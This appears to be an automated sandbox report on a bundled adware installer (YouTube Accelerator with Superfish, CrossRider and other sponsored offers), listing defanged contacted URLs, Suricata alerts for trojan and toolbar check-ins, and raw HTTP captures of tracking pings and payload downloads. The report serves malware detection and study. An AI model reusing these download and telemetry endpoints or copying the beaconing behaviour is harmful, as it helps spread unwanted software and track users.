hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A=
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_b 69.16.175.42
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p p3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c=
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js
hxxp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot 173.194.113.207
hxxp://www.superfish.com/ws/tu.action?userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrj4MZomVx105Z6nErJlI PfsXg2Ujmg/gRP XtorcoTKgxB9pWV4xt1IE3xXY68lVv0XfOKUZXMM/7Dni2x5uCyQ9DwXtKsNpv8SaNRCRsmETynsL3GEE9TprTJHNwnTJvxyb104P2pAgDt7NfxZmBYztrww 9FIWn5x4UAbeUjecO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdhDtOEmrEz3FyEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufW5ieW9E NT0
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DPC6dAY858uZ1EOpD0PZTf2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E=
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPkhwgnRr/y OIc6ASpc9dQ1 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HDgHw5OsMYvJQPOcqt8/xvIY2d48H/jH53sGqR1dd1 D4mNFQxLV3WswWil2hCncxcKsCuGfywf4BLsMKbdkllwvx/3S9Wd1SIqeMDdWMzeLwlJBYqLHwBkeMx0ZcpgJMdsIfagc60JJZtfKtkl4IFmDRKCu1CB4wxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJcorsuf6FS25/vxCHDKDQXB82wDWK7EtoF1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9JEsQ0Xc6BWT9wKkxYqjT c=
hxxp://xs3hgr0g-l8bu4n1j.netdna-ssl.com/api/geo?callback=Beat111008124180059069079_1423719242702&_=1423719242703
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=xBG2NTmY QIaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/AmTADg95nKug8SfsOq8sVv 54.197.238.106
hxxp://install.sourceapp.info/ii?alpha=aytSGjsDa0waClg5fTA0am8BFztrd14yNl4YRgt+OXcYXX5+WjEzECs6G20qdysOCRIpJGgVe3csBlgtbGAvGFMFKRICODlhHVxjVnpLN2RpNhEacT55ChdNGk0iKSYfZ3x9OkhKVh1cH3Q/GG9BIFJPMm9VOW1wdStyMjszOCMZW0MkEgY8P2lEHXAWKTp0OSszUUhxKXtRFHlCSAkNby0mUU5rKAMHOicrNigRazcjV1FOaV08BnhxKAFHOzkrcWYSViR1ZStlNABWLkImQy1nfWgTCHttKAN7aUQBRgdkKy9MAUNnBBAzFjY/CgwNbmMDEAAoTTsIGTVyVRNuLSdxRBxZOW4WLXwiBlw3SHU0fikvKVVVYHsuBnZ4SAcWAXQ4ak5dbWVHWHxUd2lYQylrbAkYSh4Da0QgNHUTXkgwJ2pPGRVKVFd5bzRdCTBRJiBiZyt3WQJxLGgKbzsBRFBaMTArAww+NFJSZlBvY0wdYDc8XUhDfQl4FR8KalIEeHJuSGcKVGtFFltjNQBaP0s7R2RaWlQtWxMkbVx2T0gDCQtyey9QXzM/QRhhVElyX0MfaG8=
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5472551417397524
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.538687518716917
hxxp://install.sourceapp.info/mg?alpha=Wz1pHUY2BF1oICkyRjdJZHQrDkMFLm0hBiAwNBoYDjlESwMYAj5mWS94fWlmBllxOktfPRobdU5NJTBUWx4IGDBAOyMENQNjeWlnMW5GJ0kZIW9MGk04PHxGLVNrQlpdbDUWQw5BaXYoWX91GxcHK2xIOltdXlwJBGZ4QBUPfkhMPTU/IQRAAGR5EhEmNx9yTh4leRFcQDsqNBh XmpBfWEBGnQh
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=657cd9m3NQH2vdzuDiNvxiHCCdGv/L44OOyjwiLHFdxAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6tiW6eilVSYw95ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=700&n=deploy_ch_start_funnel_step_name&rnd=1423719230 54.231.1.228
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=200&n=init_end_funnel_step_name&rnd=1423719228 54.231.1.228
hxxp://www.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&CD_CTID=xUSIF2Cwsmtycl&version=2015.2.11.10.1&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=800&tier1_next_group=858&tier1_prev_group=766&tier2_bucket=2015w04_auto_open_initiated_until_click&tier2_curr_group=343&tier2_next_group=321&tier2_prev_group=909
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f2d0af29e9299eab 88.221.132.48
hxxp://cdn.visadd.com/script/14567725608/preload.js?subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=s5Ydxb c7o1PNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmMMxMRWUkdQZU7l01ouN0CWyQEOJXfTD3M5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge090js0 pge/oATxIUcsgQ wusjSmD/os8tO5dNaLjdAlskBDiV30w9zOaT9t kffdDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= 108.162.232.202
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423719230 54.231.1.228
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA==
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=10000&n=deploy_end_funnel_step_name&rnd=1423719233 54.231.1.228
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Ka qOJkckoV5pPDVsfG01xpesdmADmbfkGRvnADQmYeMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovCmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5xIIWpTPES4rmkEK3qBiKqhVVJo48KbncR85KvwHLbytKZ41CPq3IAcjTaYiMGdAbW VsagjjdXSz4gguKWlYXavJoWu3VnK1BCvXlOaKn773iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyxj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH
hxxp://d1cfk8e4o0c4u2.cloudfront.net/20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpbwlLkdPepSqQ==
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423719232 54.231.1.228
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default5755&xdm_p=1
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.8426500988603953
hxxp://www.appshat.com/thumbnails/banner/images/assets/b/4/b43daeae6aca6ab7d6a00084494d81db.png
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/nIXzQtxKJSmstAtp4Waa7FAL52sIXt4UGdUiveYDXawWwrv9hreqncfgJCYrAwfhP0D8OhuX2cA2F/4MfqUsFPnhu6I2MJcgcuf22/PyzT 0p4qSuvYU33CjlXcBqBuW5mDEtpc41rAWwrv9hreqncfgJCYrAwfjisLZ4k0PjQlY82z56oFxUZZpUYgBBNCMzmjaEVG/KMWXWi1z wvIak3TjWx/pH088TlE/Us4t1jVvn1Eai8YdLsaRyXgar/GFTvEhYXEDA5KUi/e3eip5EkCZa7jYIXUaVgeh2pzpkcckL4tVIkpXqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw==
hxxp://stats.ourgendataservice.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-12&bic=A4A2CE24A1134121A4E793B05C1D9E9FIE&verifier=6c07540f28a2d49bcc83e35251348f30&upi=d5d8d8a61601751d467a5854a16ce35a&procid=9A2ABFB48E9441079CD58F68DCE3DE0API&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423719224&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423719224&procruntime=11&rnd=1423719235
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1423719232 54.231.1.228
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://www.appshat.com/home
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6641631515694306
hxxp://fonts.googleapis.com/css?family=Abel 173.194.71.95
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=23f64a69-484a-4cc0-90a1-c34b11441526&Password=7c2fslav&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423719190&SBPIDS=1&KA=1
hxxp://www.appshat.com/css/main.css
hxxp://www.appshat.com/thumbnails/icon/images/assets/1/3/13ca8e322e15bc394d66a37bec12e3b4.png
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= 93.184.220.29


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile
ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET POLICY Http Client Body contains pw= in cleartext
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /app/ping.ashx?e=hXeqmv1IpelPNjxRBLtb4z2yFYVisXUyjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WLdv2CKFfBluBMcUf8UemD9EYs0TzOu1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:59 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 12 Feb 2015 05:32:59 GMT..Content-Length: 0..



GET /api/geo?callback=Beat111008124180059069079_1423719242702&_=1423719242703 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: xs3hgr0g-l8bu4n1j.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 94
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
Beat111008124180059069079_1423719242702({"Country":"UA","Region":null,
"City":null,"ISP":null})HTTP/1.1 200 OK..Date: Thu, 12 Feb 2015 05:33:
59 GMT..Content-Type: application/json; charset=utf-8..Content-Length:
 94..Connection: keep-alive..Cache-Control: private, no-store..X-AspNe
t-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2.
.X-Cache: MISS..Beat111008124180059069079_1423719242702({"Country":"UA
","Region":null,"City":null,"ISP":null})..



GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2q90bop9bptps.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:01:02 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 08 Feb 2015 05:11:02 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pohktDONz51Ka54UrMupnQRNDSfWY2fBfSJJOthQVlDf2-4eW6NDmA==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.5}r".....@,j..cx../..d._..:.x..}...o.$............M
p...H.z......k..G..#gBG.{y..t..hur....I..0..<...cY7Hr%..PKD.?.lL...
....?i.bR....y.a4}...'.i..."..C...a..z.....%"..#.Tq~..0...5.$Ye ....r.
.5.]...1`..)......5.> ....)..hUW.=.4gL.b.b....Z...<..(9!..../...
K....P.m.KD......hF.F...(.6.e]..._}b.K.}... }[email protected]. :..
i22.H(Y..CU.J.K......J..z.y.2..j.JC....fh,.L.B.l[...p.[Kp.....A#....&g
t;..S........(..Y...c&.H...x...,[email protected](11\.......4...V..\.H.S....9...
#v.{.)*I...i......... ....B.h...Ir..Yc....(n..."c5`8.A....,....#..
<<< skipped >>>


GET /r/collect?v=1&_v=j32&a=10557442&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2089329185&cid=859618243.1423719243&tid=UA-40752970-2&_r=1&z=1252996374 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.google-analytics.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Thu, 12 Feb 2015 05:33:59 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;..



GET /utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=15886&rnd=24743 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:59 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyoUg6LfIDXFhBiCHLDEUg0E/nGHy74Q2tSYKcd13kdQ6ezgRpy NDNbQiqwkDab6jzwiaG9PBG0oG94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1
